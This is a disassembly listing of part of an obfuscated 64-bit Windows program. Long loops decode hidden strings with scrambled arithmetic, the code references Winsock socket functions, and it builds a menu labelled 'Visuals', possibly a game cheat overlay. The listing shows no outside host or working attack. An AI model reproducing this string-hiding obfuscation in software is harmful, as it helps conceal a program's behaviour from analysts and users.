and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008198e
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x1400819b0
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x1400819b3
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819f1
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140081a1c
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x350]
add rax, r8
add r10, rax
inc r10
jmp 0x140081143
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
mov byte [rbp + r10 + 0x350], dil
inc r10
jmp 0x140081143
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x64
jb 0x1400814af
movzx r11d, r10b
lea ecx, [r11 + 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x10]
jmp 0x14008191f
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x1400819b0
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008198e
lea edx, [r10 - 0x58]
mov ecx, 0x34
jmp 0x140081958
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x140081143
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008191f
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140081619
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
lea rax, [rbx + r8]
cmp rax, 8
je 0x14008188e
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x1400816f9
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
cmp rbx, 3
jae 0x140081867
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x140081799
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x1400814d9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008164f
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x350]
add rax, r8
add r10, rax
inc r10
jmp 0x140081143
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081677
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819f1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008169f
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819b0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400816c9
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
dec r10
inc r10
jmp 0x140081143
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400815b3
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008191f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081725
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008191f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081749
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x1400819b0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081771
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819f1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400815e7
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140081a1c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400817cf
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x350]
add rax, r8
add r10, rax
inc r10
jmp 0x140081143
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400817f3
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400819f1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081817
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x1400819b3
cmp rbx, rcx
jne 0x14008183b
movzx r11d, r10b
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14008198e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400814d9
movzx r11d, r10b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14008191f
movzx r11d, r10b
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x350]
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008198e
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x38]
jmp 0x1400819f1
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x140081a1c
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x1400819b0
lea edx, [r10 + 0x3c]
mov ecx, 0x2e
jmp 0x140081958
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008191f
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
sub r11b, 0x54
movzx eax, r9b
and al, r11b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x350], cl
inc r8
dec r10
inc r10
jmp 0x140081143
lea edx, [r10 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081143
movzx r11d, r10b
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
sub r11b, 0x6c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0xc
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x350], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140081143
movabs rcx, 0xcb82a010e362d22c
add rcx, r10
movzx r9d, r11b
and r11b, cl
add r11b, r11b
movzx edi, r9b
sub dil, r11b
sub dil, 0x34
add dil, cl
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x64
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x350], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x350], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x350]
add rax, r8
add r10, rax
inc r10
jmp 0x140081143
lea rdx, [r10 + r13]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x350]
add rax, r8
add r10, rax
inc r10
jmp 0x140081143
add r10b, 0x44
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140081140
add r10b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140081130
lea rcx, [rbp + 0x1579d40]
jmp 0x140081aed
lea rcx, [rbp + 0x15c96b4]
jmp 0x140081aed
lea rcx, [rbp + 0x350]
mov r9d, r14d
lea r8, [0x140045aa0]
mov edx, r15d
call fcn.14004e8e0
mov ecx, dword [0x1401db6c8]
call fcn.140056c80
mov rsi, rax
mov byte [rbp + 0x370], 0x60
mov byte [rbp + 0x371], 0x54
mov byte [rbp + 0x372], 0x56
mov byte [rbp + 0x373], 0x40
mov byte [rbp + 0x374], 0x2a
xor eax, eax
mov qword [rbp + 0x375], rax
mov dword [rbp + 0x37d], eax
mov word [rbp + 0x381], ax
mov byte [rbp + 0x383], al
movabs r14, 0x54e585f3625842a5
movabs r12, 0x5246a9a7b069d283
movabs r15, 0xfeb091da2708c7ef
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x140082535
movzx r9d, byte [rbp + r10 + 0x370]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008252c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081bcc
lea rcx, [r10 + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x7d
jmp 0x140081c00
je 0x1400824be
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082434
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082402
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400823e1
nop dword [rax]
cmp r8, r10
ja 0x140082523
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140081c2a
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
jmp 0x140081c70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008239a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082376
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082335
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008231a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400822ff
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x140081fba
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081f9b
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140081f77
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140081f56
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140081f37
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140081f1c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140081efd
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140082506
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400824e9
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140081dc4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140081da9
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140081d8e
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140081eb4
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x200]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140081e83
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140081e64
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140081e45
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140081e26
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140081e07
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140081ddf
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 6]
jmp 0x140081c80
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
jmp 0x140081c70
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1b
jmp 0x140081c00
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x140081b96
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140081b83
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140082418
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008241b
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008244e
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140082479
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
lea edx, [r10 + 0x75]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x33
add dil, dl
cmp r8, 4
jb 0x1400822b1
movzx r11d, r10b
lea edx, [r11 - 0x42]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x64]
jmp 0x1400823b4
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x140082479
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x140082418
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx r11d, r10b
jmp 0x14008234f
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
dec r10
inc r10
jmp 0x140081b83
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140081b83
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx r11d, r10b
jmp 0x1400823b4
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x140082041
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
lea rax, [rbx + r8]
cmp rax, 1
je 0x1400822e9
lea rcx, [r8 + 8]
cmp rbx, rcx
jbe 0x140082125
lea edx, [r10 + 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x37
add dil, dl
cmp rbx, 0x64
jae 0x1400822c1
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x1400821fd
lea edx, [r10 - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140081ecb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082077
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008209f
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008244e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400820c7
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082418
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400820f5
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081b83
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081fd9
movzx r11d, r10b
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400823b4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082151
movzx r11d, r10b
lea edx, [r11 - 0x65]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3d
add dil, dl
jmp 0x1400823b4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008217c
lea ecx, [r10 + 0x2f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x49
dec r10
inc r10
jmp 0x140081b83
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400821a1
lea ecx, [r10 - 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x55
jmp 0x140082418
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400821c6
lea ecx, [r10 + 0xd]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5b
jmp 0x14008241b
cmp rbx, rcx
jne 0x14008200e
lea ecx, [r10 - 0x15]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6d
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082237
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008225c
lea ecx, [r10 + 2]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xe
jmp 0x14008241b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082281
lea ecx, [r10 + 0x4c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x14
jmp 0x140082418
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081ece
movzx r11d, r10b
lea edx, [r11 - 0x6a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x14008234f
mov byte [rbp + r10 + 0x370], dil
inc r10
jmp 0x140081b83
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x370]
sub dil, al
sub dil, 0x38
add dil, r9b
add dil, dl
jmp 0x14008234f
lea ecx, [r10 + 0x52]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x3e]
jmp 0x14008244e
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
jmp 0x14008244e
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x14008241b
movzx r11d, r10b
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
sub r11b, 0x53
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x45
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x370], r9b
jmp 0x140082418
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
inc r8
dec r10
inc r10
jmp 0x140081b83
movzx r11d, r10b
lea ecx, [r11 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
add r11b, 0x63
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x4b
add r9b, r11b
mov byte [rbp + r10 + 0x370], r9b
inc r8
dec r10
inc r10
jmp 0x140081b83
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
dec r10
inc r10
jmp 0x140081b83
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140081b83
lea rcx, [r10 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x6b
add dil, cl
lea edx, [r10 - 9]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x3f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x370], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x44
add r9b, cl
mov byte [rbp + r10 + 0x370], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x77
movzx eax, byte [rbp + r10 + 0x370]
add rax, r8
add r10, rax
inc r10
jmp 0x140081b83
sub r10b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xf
jmp 0x140081b80
add r10b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 9
jmp 0x140081b70
lea rcx, [rbp + 0x14cca4c]
jmp 0x14008253c
lea rcx, [rbp + 0x1650cf1]
jmp 0x14008253c
lea rcx, [rbp + 0x370]
xor r8d, r8d
mov rdx, rsi
call fcn.140038f80
test al, al
je 0x1400825aa
lea rdi, str.nC_aE
lea r14, [0x1401db6b0]
nop dword [rax]
mov esi, dword [rdi]
mov dword [rbp + 0x40], 0
mov dword [rbp + 0x44], 0
cmp dword [0x1401db6c8], esi
sete bl
mov ecx, esi
call fcn.140056c80
lea r9, [rbp + 0x40]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003f0a0
test al, al
je 0x14008259c
mov dword [0x1401db6c8], esi
add rdi, 4
cmp rdi, r14
jne 0x140082560
call fcn.14003dd50
call fcn.14000ca00
call fcn.14000d1d0
call fcn.14000a280
movss xmm6, dword [0x1401443fc]
cmp dword [0x1401dd1d4], 1
jne 0x14008d21d
mov dword [rbp + 0x48], 0x42aa0000
mov dword [rbp + 0x4c], 0x428c0000
lea rcx, [rbp + 0x48]
call fcn.14001a510
mov dword [rbp + 0x50], 0x438d0000
mov dword [rbp + 0x54], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, str.Visuals
call fcn.140009a60
mov byte [rbp + 0x390], WSAGetLastError
mov byte [rbp + 0x391], 0x5f
mov byte [rbp + 0x392], 0x43
mov byte [rbp + 0x393], 0x45
mov byte [rbp + 0x394], 0x5c
mov byte [rbp + 0x395], 0x44
mov byte [rbp + 0x396], 6
mov byte [rbp + 0x397], 0x61
mov byte [rbp + 0x398], 0x57
mov byte [rbp + 0x399], 0xad
mov byte [rbp + 0x39a], 0x3a
xor eax, eax
mov qword [rbp + 0x39b], rax
mov byte [rbp + 0x3a3], al
movabs r14, 0x3263b972176d8da6
movabs r15, 0xc5818502d2d9fad6
movabs r13, 0x60ba121ea3fedf8a
movabs r12, 0x972b2c564648a8f2
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x140083107
movzx r9d, byte [rbp + r10 + 0x390]
mov r11, r9
nop dword [rax + rax]
cmp rbx, r10
ja 0x1400830fe
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400826ec
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x76
jmp 0x140082726
je 0x140083084
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082ff9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082fc6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082f82
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082f61
cmp r8, r10
ja 0x1400830f5
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140082753
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x140082790
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140082f17
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082ef2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082ed0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082eb1
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140082bdf
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140082bc0
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140082b9c
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140082b7b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082b58
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140082b36
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140082b17
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140082af8
lea rbx, [r8 + 8]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400830d5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400830b5
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008292e
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008290f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400828f0
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140082a76
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140082a32
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400827a0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140082a01
